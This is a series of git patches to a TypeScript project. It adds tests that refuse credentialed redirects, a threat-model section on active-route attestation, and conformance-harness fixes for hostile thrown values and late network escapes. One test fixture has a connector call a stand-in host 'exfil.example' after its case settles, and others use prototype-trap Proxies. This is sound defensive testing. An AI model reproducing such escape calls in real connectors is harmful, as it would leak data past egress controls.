maintenanceResponse(), + ); + const subject = backend(api, { fetch: request }); + + await (operation === 'ensureMaintenance' + ? subject.ensureMaintenance( + spec, + secrets.maintenanceAdmin, + api.fence(), + 'candidate', + ) + : subject.inspect(spec, secrets.maintenanceAdmin, 'candidate')); + + expect(request).toHaveBeenCalledTimes(1); + expect(request.mock.calls[0]?.[1]?.redirect).toBe('manual'); + }); }); describe('inspection across release bindings', () => { diff --git a/packages/fleet-control/test/worker-attachment-scan.test.ts b/packages/fleet-control/test/worker-attachment-scan.test.ts index b1f2886a..8c9db8fb 100644 --- a/packages/fleet-control/test/worker-attachment-scan.test.ts +++ b/packages/fleet-control/test/worker-attachment-scan.test.ts @@ -1,6 +1,7 @@ // SPDX-License-Identifier: Apache-2.0 import { createHash } from 'node:crypto'; +import { APIError } from 'cloudflare'; import { BaseNamespaces } from 'cloudflare/resources/workers-for-platforms/dispatch/namespaces/namespaces'; import { describe, expect, it, vi } from 'vitest'; import { @@ -12,6 +13,7 @@ import { CLOUDFLARE_SDK_MAX_ATTEMPTS, CLOUDFLARE_SDK_MAX_RETRIES, } from '../src/cloudflare-client-config.js'; +import { isTransientProviderError } from '../src/cloudflare-provider-errors.js'; import { CloudflareAttachmentScanDriftError, CloudflareAttachmentScanProgressError, @@ -736,6 +738,87 @@ describe('Cloudflare Worker attachment scan', () => { expect(ceilingAttempts).toBe(CLOUDFLARE_SDK_MAX_ATTEMPTS); }); + const DISPATCH_PAGE_PATH = '/namespaces/fleet/scripts'; + + function dispatchPageWorld(): AttachmentWorld { + return { + ordinary: [], + namespaces: [{ name: 'fleet', pages: [{ scripts: [] }] }], + }; + } + + it('sends the raw dispatch script page request with manual redirect handling', async () => { + const handler = worldHandler(dispatchPageWorld()); + const observed: RequestInit['redirect'][] = []; + const fixture = recordingFetch((request) => { + if (new URL(request.url).pathname.endsWith(DISPATCH_PAGE_PATH)) { + observed.push(request.redirect); + } + return handler(request); + }); + + const result = await drain(client(fixture.fetch), D1_TARGET); + + expect(result.terminal.status).toBe('complete'); + expect(observed).toEqual(['manual']); + }); + + it('refuses a redirected raw dispatch script page and cancels its body', async () => { + const cancelled = vi.fn(); + const handler = worldHandler(dispatchPageWorld()); + const fixture = recordingFetch((request) => + new URL(request.url).pathname.endsWith(DISPATCH_PAGE_PATH) + ? new Response(new ReadableStream({ cancel: cancelled }), { + status: 302, + headers: { location: 'https://redirected.invalid/elsewhere' }, + }) + : handler(request), + ); + + const failure = await drain(client(fixture.fetch), D1_TARGET).catch( + (error: unknown) => error, + ); + + expect(failure).toMatchObject({ + name: 'CredentialedRedirectRefusedError', + message: + 'Cloudflare dispatch script listing refused a redirect with status 302', + }); + expect(cancelled).toHaveBeenCalledTimes(1); + expect( + fixture.requests.filter(({ url }) => + new URL(url).pathname.endsWith(DISPATCH_PAGE_PATH), + ), + ).toHaveLength(1); + }); + + it('surfaces an SDK-routed redirect as a non-retried, non-transient status', async () => { + let listings = 0; + const fixture = recordingFetch(({ url }) => { + const target = new URL(url); + if (target.pathname.endsWith('/workers/scripts')) { + listings += 1; + return new Response(null, { + status: 302, + headers: { location: 'https://redirected.invalid/elsewhere' }, + }); + } + if (target.pathname.endsWith('/workers/dispatch/namespaces')) { + return pageArray([]); + } + throw new Error(`unexpected request ${target.pathname}`); + }); + + const failure = await drain(client(fixture.fetch), D1_TARGET).catch( + (error: unknown) => error, + ); + + expect(failure).toBeInstanceOf(APIError); + expect((failure as APIError).status).toBe(302); + expect(listings).toBe(1); + expect(isTransientProviderError(failure)).toBe(false); + }); + it('resumes an ordinary version index without repeating a committed version read', async () => { const events: string[] = []; const world: AttachmentWorld = { diff --git a/packages/fleet-control/test/workers-for-platforms-backend.test.ts b/packages/fleet-control/test/workers-for-platforms-backend.test.ts index 9d12f1f0..af441e08 100644 --- a/packages/fleet-control/test/workers-for-platforms-backend.test.ts +++ b/packages/fleet-control/test/workers-for-platforms-backend.test.ts @@ -3834,12 +3834,54 @@ describe('WorkersForPlatformsBackend', () => { /^Bearer ey/, ); expect(init?.signal).toBeInstanceOf(AbortSignal); + expect(init?.redirect).toBe('manual'); } } finally { if (selection === 'default') vi.unstubAllGlobals(); } }); + it.each([ + 'ensureMaintenance', + 'inspect', + ] as const)('refuses a redirected %s response that carries a valid receipt', async (operation) => { + const cancelled = vi.fn(); + const redirected: typeof fetch = async (input, init) => { + const attested = await attestedHealthResponse(input, init); + void attested.body?.cancel(); + return new Response(new ReadableStream({ cancel: cancelled }), { + status: 302, + headers: [ + ...attested.headers, + ['location', 'https://redirected.invalid/elsewhere'], + ], + }); + }; + const backend = new WorkersForPlatformsBackend({ + namespacedState: NAMESPACED_STATE, + client: new FakeApi(), + fetch: redirected, + hostRoutingKvId: 'host-routes', + platformProfileFor: () => platformProfile(), + }); + + await expect( + operation === 'ensureMaintenance' + ? backend.ensureMaintenance( + deployment, + secrets.maintenanceAdmin, + fence, + 'etag-v1', + ) + : backend.inspect(deployment, secrets.maintenanceAdmin), + ).rejects.toMatchObject({ + name: 'CredentialedRedirectRefusedError', + message: + 'Workers for Platforms maintenance request refused a redirect with status 302', + }); + expect(cancelled).toHaveBeenCalledTimes(1); + }); + it('uses only the signed trusted result when candidate response body is forged', async () => { const backend = new WorkersForPlatformsBackend({ namespacedState: NAMESPACED_STATE, diff --git a/packages/fleet-control/test/wrangler-loop-backend.test.ts b/packages/fleet-control/test/wrangler-loop-backend.test.ts index e1e8f9af..7a0b893e 100644 --- a/packages/fleet-control/test/wrangler-loop-backend.test.ts +++ b/packages/fleet-control/test/wrangler-loop-backend.test.ts @@ -1548,6 +1548,7 @@ export default { { method: 'GET', signal: expect.any(AbortSignal), + redirect: 'manual', headers: { authorization: `Bearer ${secrets.maintenanceAdmin}` }, }, ); @@ -1663,6 +1664,7 @@ export default { { method: 'GET', signal: expect.any(AbortSignal), + redirect: 'manual', headers: { authorization: `Bearer ${secrets.maintenanceAdmin}`, 'Cloudflare-Workers-Version-Overrides': `${deployment.scriptName}="version-next"`, From 893c1e56cec639b9639a4926a3eacf534f592123 Mon Sep 17 00:00:00 2001 From: gcharang <21151592+gcharang@users.noreply.github.com> Date: Tue, 15 Sep 2026 18:05:22 +0400 Subject: [PATCH 154/169] docs(threat-model): cover split traffic and route ambiguity The threat model's provisioning boundary described the deployment sentinel, the migration fence and the redirect refusals, but not the traffic a promotion leaves routed to a version the control plane has not attested. The active-route section of `docs/fleet-control.md` holds that material; the threat model had no entry for it. A `### Active-route attestation` subsection sits between the bounded fleet migration and the deployment sentinel. It names the threat (a staged traffic split, a stale or duplicated route, a hostname mapping that resolves to another physical script, an external writer changing routing between the control plane's read and its write), the provider-state reads each backend performs to attest, the promotion paths that attest through `attestConvergedActiveRoute()`, the bounded retry and the `ActiveRouteAttestationError` refusal, and the refusal by `exactActiveVersionId` of a split that names a second version. It states the residual: an unattested version can serve traffic from the promotion until an attestation matches or the operation refuses; the convergence budget bounds the attestation's own retry, not that window, and `advanceFleetMigration()` commits the promotion step and the attestation step as separate advances, so on that path the host driver's cadence between advances bounds the window; a routing change by another authorized account token is observed on the next read rather than excluded. One row in the threats-and-controls table, after the redirect row, carries the threat, the attestation control and the residual. Both of the subsection's links resolve under the docs checker's slugger. Co-Authored-By: Claude Fable 5.1 --- docs/security-threat-model.md | 9 +++++++++ 1 file changed, 9 insertions(+) diff --git a/docs/security-threat-model.md b/docs/security-threat-model.md index c358c85a..dcac9262 100644 --- a/docs/security-threat-model.md +++ b/docs/security-threat-model.md @@ -220,6 +220,14 @@ Lease checks still run per statement. Lease expiry during a batch can leave earl Every routine work selection and pending response currently validates the entire item set, including density, count and payload codecs. That reread is not an atomic snapshot against out-of-band D1 writers; transactional prefix/count guards remain necessary. Item payload processing is O(N²P) across N comparable P-step migrations, and D1 prefix counts remain fleet-sized per progress commit. The API bounds step execution rather than total CPU or billed rows read. See [resumable upgrade limits and recovery](fleet-control.md#upgrade-a-fleet-in-resumable-steps) before sizing a Worker driver. +### Active-route attestation + +The threat is traffic served by a version or script the control plane did not attest, whether from a staged traffic split, a stale or duplicated route, a hostname mapping that resolves to a different physical script, or an external writer changing routing between the control plane's read and its write. Promotion publishes a release; it does not establish which release serves traffic. Active-route attestation reads provider routing state rather than the candidate `inspect()` reports: the plain Worker backend reads the deployment traffic split and then the routed version's specification-digest binding, and the Workers for Platforms backend resolves the hostname mapping, then the routed physical script, then that script's digest. + +Initial provisioning, the `migrateFleet()` branches, and `rollbackExternalRelease()` attest after promotion, reaching `attestConvergedActiveRoute()` through `settlePromotedRoute` on the migration and rollback paths. That helper retries an unconverged read — a stale routed release, a route mapping not yet visible, a routed artifact whose digest binding is not yet readable — inside a bounded budget, and raises `ActiveRouteAttestationError` when the budget expires without an observation matching the expected specification digest and artifact version. `exactActiveVersionId` requires the traffic split to name the routed version at a full share and refuses a split that names a version beside it, so a staged split is refused rather than resolved by highest share. `attestFleetRecordActiveRoute()` performs the same provider read for a host rendering drift, and reports a disagreement instead of refusing it. + +The convergence budget bounds the wait, not the traffic. `PlainWorkerBackend.promoteWorker` returns once the provider acknowledges the deployment creation, and attestation reads routing state afterwards, so an attestation can observe routing that the promotion has not converged. The exposed window runs from the promotion that moves traffic until an attestation matches the expected specification digest and artifact version, or the operation refuses; `convergenceBudgetMs` bounds the retry loop inside one `attestConvergedActiveRoute()` call, not that window. `advanceFleetMigration()` commits the promotion step and the attestation step as separate advances — `ready-promote` before `ready-attest-settle`, `platform-only-promote` before `platform-only-ready`, `promote` before `settle-ready` — so on that path the host driver's cadence between advances bounds the window, and Fleet control does not. Traffic can reach a version the control plane has not attested inside that window; what fails closed is the operation, which refuses to record the release as ready when the budget expires without a matching observation. A routing change by another authorized account token is one instance of the residual stated under [Dedicated control-plane Worker](#dedicated-control-plane-worker): attestation observes such a write on its next read rather than excluding it. For the call sites and their provider-read cost, see [active-route attestation](fleet-control.md#attest-the-active-route). + ### Deployment sentinel Provisioning writes the same stable tag to two independent locations: @@ -333,6 +341,7 @@ A host with only one human reviewer must consciously choose availability or sepa | Application secret changed outside fleet control | Trusted plaintext input is digest-checked before upload; inventory attests the exact secret-name set | Cloudflare exposes no value digest, so recurring audit cannot detect value-only drift | | Deployment decommissioning races new work | Revoke traffic and credentials before deleting the resource set | In-flight work can return errors during the drain | | Provisioning credential follows a redirect to an attacker host | The account SDK and raw transport, the plain Worker maintenance transport, and the Workers for Platforms maintenance transport force manual redirect handling after the caller's init; the raw dispatch page and the Workers for Platforms maintenance calls, which read a response the transport does not classify, refuse a redirect status outright | A consumer-injected fetch that follows redirects on its own returns the final response, which the wrapper cannot distinguish from a direct answer | +| Traffic served by a version or script the control plane did not attest | Active-route attestation runs after promotion on the package's provisioning, migration and rollback paths: `attestConvergedActiveRoute()` reads provider routing state, retries an unconverged read inside a bounded budget, and raises `ActiveRouteAttestationError` when the routed release still disagrees with the expected specification digest and artifact version, so the operation refuses instead of recording the release as ready | An unattested version can serve traffic from the promotion until an attestation matches or the operation refuses; `convergenceBudgetMs` bounds that attestation's own retry, and `advanceFleetMigration()` commits the promotion step and the attestation step as separate advances, so the host driver's cadence between advances, not the budget, bounds that interval; routing changed by another authorized account token is reported by the next attestation rather than prevented, and a Fleet lease does not lock out that writer | | Audit sink outage blocks agent | Sink failure containment and ring buffer | In-memory buffer is not durable and can drop old events | | Notification exposes reviewer payload | Host projection obligation | Flowsafe cannot know the trust level of a transport | | Stream ticket replay | Short TTL, HMAC, address binding, Worker verification | Ticket in logs or browser history is usable until expiry | From 0e149503aa37753eefeb42fa511d08e6f31e7afa Mon Sep 17 00:00:00 2001 From: gcharang <21151592+gcharang@users.noreply.github.com> Date: Tue, 15 Sep 2026 19:48:03 +0400 Subject: [PATCH 155/169] fix(breakwater): build the conformance report for a foreign thrown value The connector conformance harness classified a thrown value with four separate `instanceof` reads inside a try block that has no catch. A value whose `getPrototypeOf` is a trap made the classification throw, so the run rejected with the trap's error and built no report. On the execute path `createConnector`'s own reads of that value fired the trap first, so the report named the trap's `Error` instead. A rejection with `undefined` was not counted as a failure at all. A case's escapes were converted to findings once and the same live array was placed in the case result, the run's findings array was the object the report exposed on every exit, and `conformant` was computed once, so an escape reaching a trap or the case transport after the case settled entered a result without a finding, or sat beside `conformant: true`. The audit witness was read from the event object the connector holds. `classifyInvocationError` answers `boundary`, `policy`, `refusal` or `foreign` once, with its four reads inside a single try/catch, and a value it cannot read is `foreign`, so the report carries the `CASE_INVOCATION_FAILED` finding; a separate flag records that the invocation failed, whatever value it rejected with. An `isInstanceOf` predicate in `connector-decision.ts` guards seven reads of the connector's thrown value inside `createConnector` in `connector-sdk/index.ts`, among them the keyed attempt's catch, where releasing the reservation depends on the read, and a `readProperty` helper beside it guards the `connector` read that follows the policy error check. The case logger's sink keeps a harness-owned copy of each audit event, taken before the connector sees the object. A case result carries a snapshot of its escapes taken where they become findings; an escape observed after the case settled is a run-level `NETWORK_IO_OUTSIDE_RUNTIME_FETCH` finding whose reason names the case; `recordRun` drops a finding once the run is closed, the two early refusals close the run before they throw, and the fall-through report snapshots `findings` and `cases` and computes `conformant` from the snapshot. `CONFORMANCE_LIMIT` keeps its timed-out-case sentence and states in a sentence of its own the channel a settled case's abandoned work reaches, an undeclared host on the supplied base transport or a captured trap, recorded as a run-level finding naming the case until the report is built and dropped after; the two documentation mirrors and the pending harness changeset that carry it verbatim follow. Tests cover the option-getter, prototype-trap, thenable and `undefined` seams, the mutated audit event, the late escape, the post-report and post-refusal drops, and two in the SDK suite pin that `invokeConnector` rejects with the connector's own thrown value; the new changeset is a patch. Co-Authored-By: Claude Fable 5.1 --- ...ormance-foreign-values-and-late-escapes.md | 25 ++ .changeset/connector-conformance-harness.md | 2 +- docs/connector-interface.md | 2 +- packages/breakwater/CONNECTORS.md | 4 +- packages/breakwater/src/connector-decision.ts | 31 ++ .../src/connector-sdk/connector-sdk.test.ts | 70 +++++ .../connector-sdk/egress-conformance.test.ts | 281 ++++++++++++++++++ .../src/connector-sdk/egress-conformance.ts | 79 +++-- .../breakwater/src/connector-sdk/index.ts | 19 +- 9 files changed, 482 insertions(+), 31 deletions(-) create mode 100644 .changeset/breakwater-conformance-foreign-values-and-late-escapes.md diff --git a/.changeset/breakwater-conformance-foreign-values-and-late-escapes.md b/.changeset/breakwater-conformance-foreign-values-and-late-escapes.md new file mode 100644 index 00000000..7b2777a4 --- /dev/null +++ b/.changeset/breakwater-conformance-foreign-values-and-late-escapes.md @@ -0,0 +1,25 @@ +--- +'@proofoftech/breakwater': patch +--- + +Build the connector conformance report even when a case throws a value that cannot say what it is. +The harness classified a thrown value with four separate `instanceof` reads; a value whose +`getPrototypeOf` is a trap made the classification itself throw, so the run rejected with the trap's +error and produced no report. One `classifyInvocationError` call now answers `boundary`, `policy`, +`refusal` or `foreign` once, and a value it cannot read is `foreign`: the report carries the named +`CASE_INVOCATION_FAILED` finding the contract requires. `invokeConnector` guards the three reads it +makes of the connector's own thrown value, so that value reaches the harness intact and the execute +error is still audited. + +Record an escape observed after its case settled. A connector that keeps the supplied base transport +or a trap reference alive past its case used to append to the case result's `escapes` array with no +finding beside it, and — once the report was built — beside a `conformant: true` the caller was +already holding. A case result now carries a snapshot of its own escapes, taken where those escapes +become findings; a later observation is a run-level `NETWORK_IO_OUTSIDE_RUNTIME_FETCH` finding whose +reason names the settled case and carries no `case`. The report snapshots `findings` and `cases` and +computes `conformant` from the snapshot, and an escape observed after that is dropped. + +`CONFORMANCE_LIMIT` says so: work a timed-out case abandons is unrecorded through the restored +global, and work any settled case abandons is recorded as a run-level finding through the supplied +base transport for a host the manifest does not declare, or through a captured trap, until the +report is built. diff --git a/.changeset/connector-conformance-harness.md b/.changeset/connector-conformance-harness.md index 841ed343..524cecf7 100644 --- a/.changeset/connector-conformance-harness.md +++ b/.changeset/connector-conformance-harness.md @@ -43,7 +43,7 @@ with no cases raises one finding, not both. A case whose expectations depend on did not wire is reported as a wiring failure naming the member, alongside the escape record, which is kept. Every report states the finite-case limit: -> conformance covers only the supplied cases, in this isolate, for the duration of each case: it does not prove every reachable network path, a captured fetch reference, a request through an entry point the subject redefines and restores inside a case, an uninstrumented transport, another isolate, work continuing outside a case lifetime, a call the connector makes on the supplied base transport for a host the manifest already declares, or, for a connector declaring no egress, a transport the factory supplied in place of the harness's. A case that times out ends the run, because its abandoned work would otherwise be attributed to a later case, and no further run is accepted in this isolate; that abandoned work then runs against the RESTORED global, so a request it issues after the case ends is neither trapped nor recorded and leaves the process. Entry-point targets you supply are your own test fixtures: each install is verified by its own descriptor, by an effective property read, and by the restore, against the mediations that verification names, and not against a target that adapts to those checks. Instrument globalThis.fetch alone for that guarantee. +> conformance covers only the supplied cases, in this isolate, for the duration of each case: it does not prove every reachable network path, a captured fetch reference, a request through an entry point the subject redefines and restores inside a case, an uninstrumented transport, another isolate, work continuing outside a case lifetime, a call the connector makes on the supplied base transport for a host the manifest already declares, or, for a connector declaring no egress, a transport the factory supplied in place of the harness's. A case that times out ends the run, because its abandoned work would otherwise be attributed to a later case, and no further run is accepted in this isolate; that abandoned work then runs against the RESTORED global, so a request it issues after the case ends is neither trapped nor recorded and leaves the process. A request that work abandoned by any settled case issues on the supplied base transport for a host the manifest does not declare, or through a trap reference it captured during that case, is recorded as a run-level finding naming that case until the report is built, and is dropped after. Entry-point targets you supply are your own test fixtures: each install is verified by its own descriptor, by an effective property read, and by the restore, against the mediations that verification names, and not against a target that adapts to those checks. Instrument globalThis.fetch alone for that guarantee. The harness itself uses no Node built-ins, no `vm`, and no filesystem, and runs on workerd. The barrel it ships from imports `@mastra/core/tools`, whose bundled chunks statically import Node diff --git a/docs/connector-interface.md b/docs/connector-interface.md index 3ffd0560..c6fe519b 100644 --- a/docs/connector-interface.md +++ b/docs/connector-interface.md @@ -611,4 +611,4 @@ On an absent or configurable entry point, the harness installs an accessor whose The report states this finite-case limit: -> conformance covers only the supplied cases, in this isolate, for the duration of each case: it does not prove every reachable network path, a captured fetch reference, a request through an entry point the subject redefines and restores inside a case, an uninstrumented transport, another isolate, work continuing outside a case lifetime, a call the connector makes on the supplied base transport for a host the manifest already declares, or, for a connector declaring no egress, a transport the factory supplied in place of the harness's. A case that times out ends the run, because its abandoned work would otherwise be attributed to a later case, and no further run is accepted in this isolate; that abandoned work then runs against the RESTORED global, so a request it issues after the case ends is neither trapped nor recorded and leaves the process. Entry-point targets you supply are your own test fixtures: each install is verified by its own descriptor, by an effective property read, and by the restore, against the mediations that verification names, and not against a target that adapts to those checks. Instrument globalThis.fetch alone for that guarantee. +> conformance covers only the supplied cases, in this isolate, for the duration of each case: it does not prove every reachable network path, a captured fetch reference, a request through an entry point the subject redefines and restores inside a case, an uninstrumented transport, another isolate, work continuing outside a case lifetime, a call the connector makes on the supplied base transport for a host the manifest already declares, or, for a connector declaring no egress, a transport the factory supplied in place of the harness's. A case that times out ends the run, because its abandoned work would otherwise be attributed to a later case, and no further run is accepted in this isolate; that abandoned work then runs against the RESTORED global, so a request it issues after the case ends is neither trapped nor recorded and leaves the process. A request that work abandoned by any settled case issues on the supplied base transport for a host the manifest does not declare, or through a trap reference it captured during that case, is recorded as a run-level finding naming that case until the report is built, and is dropped after. Entry-point targets you supply are your own test fixtures: each install is verified by its own descriptor, by an effective property read, and by the restore, against the mediations that verification names, and not against a target that adapts to those checks. Instrument globalThis.fetch alone for that guarantee. diff --git a/packages/breakwater/CONNECTORS.md b/packages/breakwater/CONNECTORS.md index a7dd680b..75883bd6 100644 --- a/packages/breakwater/CONNECTORS.md +++ b/packages/breakwater/CONNECTORS.md @@ -771,7 +771,7 @@ Import `singleTenantConnectorPolicies` from the connector SDK. Use the productio Read failures using the report's finding codes: -- `NETWORK_IO_OUTSIDE_RUNTIME_FETCH`: a trapped entry point received a request, or the supplied base transport received an undeclared host. The attempt is recorded before refusal, including when the connector catches it. +- `NETWORK_IO_OUTSIDE_RUNTIME_FETCH`: a trapped entry point received a request, or the supplied base transport received an undeclared host. The attempt is recorded before refusal, including when the connector catches it. An attempt observed after its case has settled carries no `case` name: the reason names the case whose transport or trap it reached, and the finding is recorded at run level until the report is built and dropped after. - `MANIFEST_MISMATCH`: the registered manifest differs from your claim, or the case's subject differs from the probe. - `POSTURE_NOT_ENFORCED`: the connector declares a declaration-only posture, or its posture changes between the probe and a case. - `SUBJECT_UNREGISTERED`: the factory returned an unregistered value, such as `undefined`, `null`, a plain Mastra tool, or a connector from a second copy of Breakwater. @@ -823,7 +823,7 @@ Use `respond(request)` to return `{ status?, headers?, body? }` for guarded traf Every report states its limit: -> conformance covers only the supplied cases, in this isolate, for the duration of each case: it does not prove every reachable network path, a captured fetch reference, a request through an entry point the subject redefines and restores inside a case, an uninstrumented transport, another isolate, work continuing outside a case lifetime, a call the connector makes on the supplied base transport for a host the manifest already declares, or, for a connector declaring no egress, a transport the factory supplied in place of the harness's. A case that times out ends the run, because its abandoned work would otherwise be attributed to a later case, and no further run is accepted in this isolate; that abandoned work then runs against the RESTORED global, so a request it issues after the case ends is neither trapped nor recorded and leaves the process. Entry-point targets you supply are your own test fixtures: each install is verified by its own descriptor, by an effective property read, and by the restore, against the mediations that verification names, and not against a target that adapts to those checks. Instrument globalThis.fetch alone for that guarantee. +> conformance covers only the supplied cases, in this isolate, for the duration of each case: it does not prove every reachable network path, a captured fetch reference, a request through an entry point the subject redefines and restores inside a case, an uninstrumented transport, another isolate, work continuing outside a case lifetime, a call the connector makes on the supplied base transport for a host the manifest already declares, or, for a connector declaring no egress, a transport the factory supplied in place of the harness's. A case that times out ends the run, because its abandoned work would otherwise be attributed to a later case, and no further run is accepted in this isolate; that abandoned work then runs against the RESTORED global, so a request it issues after the case ends is neither trapped nor recorded and leaves the process. A request that work abandoned by any settled case issues on the supplied base transport for a host the manifest does not declare, or through a trap reference it captured during that case, is recorded as a run-level finding naming that case until the report is built, and is dropped after. Entry-point targets you supply are your own test fixtures: each install is verified by its own descriptor, by an effective property read, and by the restore, against the mediations that verification names, and not against a target that adapts to those checks. Instrument globalThis.fetch alone for that guarantee. ## Contribute a connector diff --git a/packages/breakwater/src/connector-decision.ts b/packages/breakwater/src/connector-decision.ts index 2a365bcb..582843e3 100644 --- a/packages/breakwater/src/connector-decision.ts +++ b/packages/breakwater/src/connector-decision.ts @@ -348,6 +348,37 @@ export function connectorErrorDecision( : undefined; } +/** + * `value instanceof ctor` for a value the caller does not own. The check walks + * the value's prototype chain, so a thrown value whose `getPrototypeOf` is a + * trap answers with a throw; a value that cannot say what it is, is not the + * constructor asked about. + * + * @internal + */ +export function isInstanceOf( + value: unknown, + ctor: abstract new (...args: never[]) => T, +): value is T { + try { + return value instanceof ctor; + } catch { + return false; + } +} + +/** @internal */ +export function readProperty( + value: T, + key: K, +): T[K] | undefined { + try { + return value[key]; + } catch { + return undefined; + } +} + /** Policy refusal; diagnostic names do not determine machine classification. */ export class ConnectorPolicyError extends Error { readonly kind = 'connector-policy'; diff --git a/packages/breakwater/src/connector-sdk/connector-sdk.test.ts b/packages/breakwater/src/connector-sdk/connector-sdk.test.ts index 26b2fe66..319200b5 100644 --- a/packages/breakwater/src/connector-sdk/connector-sdk.test.ts +++ b/packages/breakwater/src/connector-sdk/connector-sdk.test.ts @@ -1430,6 +1430,76 @@ describe('invokeConnector', () => { applicationError, ); }); + + it('rejects with the connector policy error when its connector property cannot be read', async () => { + const audit = new AuditLogger(); + const id = 'direct.unreadable-connector'; + const hostile = new Proxy( + new ConnectorPolicyError(id, 'custom-policy', 'application-owned denial'), + { + get(target, key, receiver) { + if (key === 'connector') throw new Error('trap'); + return Reflect.get(target, key, receiver); + }, + }, + ); + const tool = createConnector({ + id, + description: + 'Throw a policy error whose connector property cannot be read', + execute: async () => { + throw hostile; + }, + permissions: { sideEffect: 'read' }, + policies: { audit }, + }); + const failure = await invokeConnector(tool, {}).catch( + (error: unknown) => error, + ); + expect(failure).toBe(hostile); + expect(audit.events()).toEqual([ + expect.objectContaining({ + decision: 'error', + decisionCode: 'CONNECTOR_EXECUTION_FAILED', + detail: expect.objectContaining({ stage: 'execute' }), + }), + ]); + }); + + it('rejects with the connector value when its prototype chain cannot be read', async () => { + // #given + const audit = new AuditLogger(); + const hostile = new Proxy( + { marker: 'unreadable-prototype' }, + { + getPrototypeOf(): never { + throw new Error('prototype unreadable'); + }, + }, + ); + const tool = createConnector({ + id: 'direct.unreadable-prototype', + description: 'Throw a value whose prototype chain cannot be read', + execute: async () => { + throw hostile; + }, + permissions: { sideEffect: 'read' }, + policies: { audit }, + }); + // #when + const failure = await invokeConnector(tool, {}).catch( + (error: unknown) => error, + ); + // #then + expect(failure).toBe(hostile); + expect(audit.events()).toEqual([ + expect.objectContaining({ + decision: 'error', + decisionCode: 'CONNECTOR_EXECUTION_FAILED', + detail: expect.objectContaining({ stage: 'execute' }), + }), + ]); + }); }); describe('network egress gate', () => { diff --git a/packages/breakwater/src/connector-sdk/egress-conformance.test.ts b/packages/breakwater/src/connector-sdk/egress-conformance.test.ts index 66dd42cd..b437b158 100644 --- a/packages/breakwater/src/connector-sdk/egress-conformance.test.ts +++ b/packages/breakwater/src/connector-sdk/egress-conformance.test.ts @@ -14,6 +14,7 @@ import { type ConnectorConformanceOptions, type ConnectorConformanceReport, type ConnectorConformanceRuntime, + type ConnectorInvocationOptions, type ConnectorPolicies, createConnector, type EgressResponse, @@ -88,6 +89,17 @@ function quietFactory(execute: Execute = async () => ({})) { return factory(execute, noEgress); } +function unreadablePrototype(): object { + return new Proxy( + { marker: 'unreadable-prototype' }, + { + getPrototypeOf(): never { + throw new Error('prototype unreadable'); + }, + }, + ); +} + function entryOptions(target: object): ConnectorConformanceOptions { return { manifest: noEgress, @@ -811,6 +823,233 @@ describe('connector egress conformance', () => { expect(getter).toHaveBeenCalledTimes(1); }); + it('reports CASE_INVOCATION_FAILED when execute throws undefined', async () => { + const report = await rejected( + assertConnectorConformance( + quietFactory(async () => { + throw undefined; + }), + { manifest: noEgress, cases: [quietCase] }, + ), + ); + expect(report.conformant).toBe(false); + expect(report.findings).toEqual([ + { + code: 'CASE_INVOCATION_FAILED', + case: 'quiet', + reason: 'case invocation failed with undefined', + }, + ]); + }); + + it('reports CASE_INVOCATION_FAILED when an invocation option getter throws an unreadable value', async () => { + // #given + const saved = Object.getOwnPropertyDescriptor(globalThis, 'fetch'); + const hostile = unreadablePrototype(); + const execute = vi.fn(async () => ({})); + const invocation: ConnectorInvocationOptions = { + get toolCallId(): string { + throw hostile; + }, + }; + // #when + const report = await rejected( + assertConnectorConformance(quietFactory(execute), { + manifest: noEgress, + cases: [{ ...quietCase, invocation }], + }), + ); + // #then + expect(report.conformant).toBe(false); + expect(report.findings).toEqual([ + { + code: 'CASE_INVOCATION_FAILED', + case: 'quiet', + reason: 'case invocation failed with unknown', + }, + expect.objectContaining({ + code: 'POLICIES_NOT_WIRED', + case: 'quiet', + member: 'audit', + }), + ]); + expect(execute).not.toHaveBeenCalled(); + expect(Object.getOwnPropertyDescriptor(globalThis, 'fetch')).toEqual(saved); + }); + + it('reports CASE_INVOCATION_FAILED when execute throws a value whose prototype cannot be read', async () => { + // #given + const saved = Object.getOwnPropertyDescriptor(globalThis, 'fetch'); + const hostile = unreadablePrototype(); + // #when + const report = await rejected( + assertConnectorConformance( + quietFactory(async () => { + throw hostile; + }), + { manifest: noEgress, cases: [quietCase] }, + ), + ); + // #then + expect(report.conformant).toBe(false); + expect(report.findings).toEqual([ + { + code: 'CASE_INVOCATION_FAILED', + case: 'quiet', + reason: 'case invocation failed with unknown', + }, + ]); + expect(Object.getOwnPropertyDescriptor(globalThis, 'fetch')).toEqual(saved); + }); + + it('reports CASE_INVOCATION_FAILED when execute settles with a thenable whose then getter throws', async () => { + // #given + const saved = Object.getOwnPropertyDescriptor(globalThis, 'fetch'); + const hostile = unreadablePrototype(); + const thenable = { + // biome-ignore lint/suspicious/noThenProperty: the fixture is a thenable on purpose — the harness must survive the throw that promise adoption raises when it reads `then`. + get then(): never { + throw hostile; + }, + }; + // #when + const report = await rejected( + assertConnectorConformance( + quietFactory(async () => thenable), + { manifest: noEgress, cases: [quietCase] }, + ), + ); + // #then + expect(report.conformant).toBe(false); + expect(report.findings).toEqual([ + { + code: 'CASE_INVOCATION_FAILED', + case: 'quiet', + reason: 'case invocation failed with unknown', + }, + ]); + expect(Object.getOwnPropertyDescriptor(globalThis, 'fetch')).toEqual(saved); + }); + + it('records an escape observed after its case settled as a run-level finding', async () => { + // #given + const saved = Object.getOwnPropertyDescriptor(globalThis, 'fetch'); + let release!: () => void; + const gate = new Promise((resolve) => { + release = resolve; + }); + let late: Promise | undefined; + let lateRefusal: unknown; + const subject: ConnectorConformanceFactory = ( + runtime, + ) => { + const base = runtime.policies.fetch as unknown as ( + url: string, + ) => Promise; + return quietFactory(async (input) => { + if ((input as { phase?: string }).phase === 'capture') { + late = (async () => { + await gate; + try { + await base('https://exfil.example/late'); + } catch (error) { + lateRefusal = error; + } + })(); + return {}; + } + release(); + await new Promise((resolve) => { + setTimeout(resolve, 0); + }); + return {}; + })(runtime); + }; + // #when + const report = await rejected( + assertConnectorConformance(subject, { + manifest: noEgress, + cases: [ + { + name: 'capture', + input: { phase: 'capture' }, + expect: { outcome: 'no-network' }, + }, + { + name: 'settle', + input: { phase: 'settle' }, + expect: { outcome: 'no-network' }, + }, + ], + }), + ); + await late; + // #then + expect(report.conformant).toBe(false); + expect(report.findings).toEqual([ + { + code: 'NETWORK_IO_OUTSIDE_RUNTIME_FETCH', + reason: + "connector reached policies.fetch outside runtime.fetch (host: exfil.example); observed after case 'capture' settled", + }, + ]); + expect(report.findings[0]).not.toHaveProperty('case'); + expect(report.cases[0]?.escapes).toEqual([]); + expect(report.cases[0]?.findings).toEqual([]); + 